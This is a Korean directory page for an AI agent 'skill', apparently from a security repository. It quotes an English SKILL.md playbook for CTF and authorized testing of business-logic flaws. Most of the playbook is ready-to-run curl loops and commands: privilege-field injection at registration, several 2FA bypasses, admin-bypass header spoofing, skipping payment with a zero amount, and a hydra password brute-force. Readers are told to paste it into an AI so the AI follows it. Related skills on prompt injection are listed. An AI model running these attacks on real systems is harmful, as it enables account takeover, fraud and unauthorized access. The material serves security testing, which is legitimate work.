business-logic
하는 일
이 안내서는 표준 인젝션 버그가 아니라 앱의 업무 규칙에 있는 결함을 다룹니다. 가입, 프로필, 2단계 인증, 워크플로 기능을 점검하는 보안 테스터를 위한 가이드입니다.
사용하는 경우
- ✓허가된 테스트에서 가입이나 프로필 폼이 역할이나 관리자 플래그를 받아들이는 것이 확인될 때.
- ✓2단계 인증 단계가 건너뛰어지거나 유효하지 않은 코드로 통과될 수 있을 때.
- ✓여러 단계로 된 워크플로에서 단계를 바꾸거나 건너뛸 수 있는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“일반 사용자가 프로필이나 가입 폼을 통해 자신의 역할을 바꿀 수 있는지 우리 테스트 환경에서 확인해 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 허가된 테스트에서 정상 요청과 변조된 요청을 비교하고, 서버가 클라이언트가 보낸 필드를 신뢰하는지 확인한 뒤, 실패하는 규칙을 보고합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Business Logic / Privilege Escalation
For challenges where the vulnerability is in the application's business rules, not in standard injection sinks. Common patterns: client-controlled privilege fields, 2FA bypass, predictable codes, hidden auth headers.
1. POST-Body Privilege Field Tampering
When registration/profile endpoints accept arbitrary JSON or form fields, the server may read trusted privilege flags from the request:
# Intercept normal registration first to see what fields are sent
curl -s -X POST 'https://<TARGET>/register' \
-H 'Content-Type: application/json' \
-d '{"username":"alice","email":"a@a.com","password":"x"}' -v 2>&1 > /tmp/register_baseline.txt
head -50 /tmp/register_baseline.txt
# Add common privilege fields to the body
for field in 'role:admin' 'is_admin:true' 'admin:1' 'user_type:admin' 'isAdmin:true' 'is_superuser:true' 'staff:true' 'level:99' 'group:administrators'; do
key=${field%:*}; val=${field#*:}
echo "=== try $key=$val ==="
curl -s -X POST 'https://<TARGET>/register' \
-H 'Content-Type: application/json' \
-d "{\"username\":\"u_$RANDOM\",\"password\":\"x\",\"$key\":$val}" \
-o /tmp/priv_probe.txt -w '%{http_code}\n'
grep -i 'admin\|role\|privilege\|flag\|token' /tmp/priv_probe.txt | head -5
done
2. 2FA Bypass Patterns
# (a) Bypass-by-omission — skip /2fa/verify entirely, go directly to /dashboard with partially-authenticated session
curl -s 'https://<TARGET>/dashboard' -b 'session=<post-login-pre-2fa>' -o /tmp/bypass_omit.txt -w '%{http_code}\n'
# (b) Empty / null code
curl -s -X POST 'https://<TARGET>/2fa/verify' -d 'code=' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
curl -s -X POST 'https://<TARGET>/2fa/verify' -H 'Content-Type: application/json' \
-d '{"code":null}' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
curl -s -X POST 'https://<TARGET>/2fa/verify' -H 'Content-Type: application/json' \
-d '{}' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
# (c) Backup code enumeration (often 8-digit numeric)
for code in 00000000 11111111 12345678 87654321; do
curl -s -X POST 'https://<TARGET>/2fa/verify' -d "code=$code" -b 'session=...' -o /tmp/r.txt -w "%{http_code} $code\n"
done
# (d) TOTP seed leak — check registration response for "secret" or "qr" field; if leaked, generate code
# python3 -c "import pyotp; print(pyotp.TOTP('<LEAKED_SECRET>').now())"
# (e) Race condition on verify — submit concurrently to beat rate-limit or state check
seq 1 20 | xargs -P 20 -I _ curl -s -X POST 'https://<TARGET>/2fa/verify' \
-d 'code=999999' -b 'session=...' -o /dev/null -w '%{http_code}\n' | sort | uniq -c
3. Hidden Authorization Headers
# Try common admin-bypass headers — redirect output to avoid inlining
for h in 'X-Admin: true' 'X-User-Role: admin' 'X-Forwarded-User: admin' \
'X-Forwarded-For: 127.0.0.1' 'X-Real-IP: 127.0.0.1' \
'X-Original-URL: /admin' 'X-Rewrite-URL: /admin' \
'X-Custom-IP-Authorization: 127.0.0.1' 'Referer: https://<TARGET>/admin'; do
echo "=== $h ==="
curl -s -H "$h" 'https://<TARGET>/admin' -o /tmp/header_probe.txt -w '%{http_code}\n'
grep -i 'admin\|flag\|dashboard\|forbidden' /tmp/header_probe.txt | head -3
done
4. Multi-Step Workflow Tampering
When a workflow has steps (e.g., cart → checkout → payment → confirm), tampering with the step transition can skip payment or unlock states:
# Skip a step: directly POST to a later step's endpoint with state from earlier step
curl -s -X POST 'https://<TARGET>/checkout/confirm' \
-d 'order_id=<id_from_step_1>' -b 'session=...' -o /tmp/skip_step.txt -w '%{http_code}\n'
# Replay a step with modified state
curl -s -X POST 'https://<TARGET>/checkout/payment' \
-d 'amount=0&order_id=<id>' -b 'session=...' -o /tmp/mod_state.txt -w '%{http_code}\n'
5. Credential Brute-Force (when explicitly correct strategy)
If the challenge clearly intends credential discovery (explicit hint about default creds), use hydra instead of curl loops:
hydra -L /usr/share/wordlists/seclists/usernames/top-usernames-shortlist.txt \
-P /usr/share/wordlists/rockyou.txt \
-t 16 -f -V \
<TARGET> http-post-form '/login:user=^USER^&pass=^PASS^:Invalid' \
-o /tmp/hydra_out.txt
Do NOT default to brute-force. Try Sections 1-4 first — most CTF challenges tagged privilege_escalation are NOT brute-forceable; they require business-logic explo
자주 묻는 질문
클라이언트가 보낸 필드가 왜 중요한가요?
서버는 브라우저가 보낸 권한 플래그를 신뢰하지 않아야 한다고 안내서는 설명합니다.
2단계 인증 우회란 무엇인가요?
유효한 두 번째 인증 코드 없이 로그인을 마치는 방법이며, 안내서는 이를 흔한 패턴으로 나열합니다.
여러 단계 워크플로도 다루나요?
네. 여러 단계로 된 과정에서 단계를 조작하는 것도 포함합니다.
상세 정보
작성자의 원본 설명
Business logic / authentication bypass / privilege escalation — POST body field tampering (role/is_admin/user_type), 2FA bypass via response manipulation, predictable TOTP seeds, hidden authorization headers, multi-step workflow tampering. For challenges tagged business_logic, privilege_escalation, 2fa_bypass, or auth_bypass that aren't pure IDOR/JWT.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14051
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.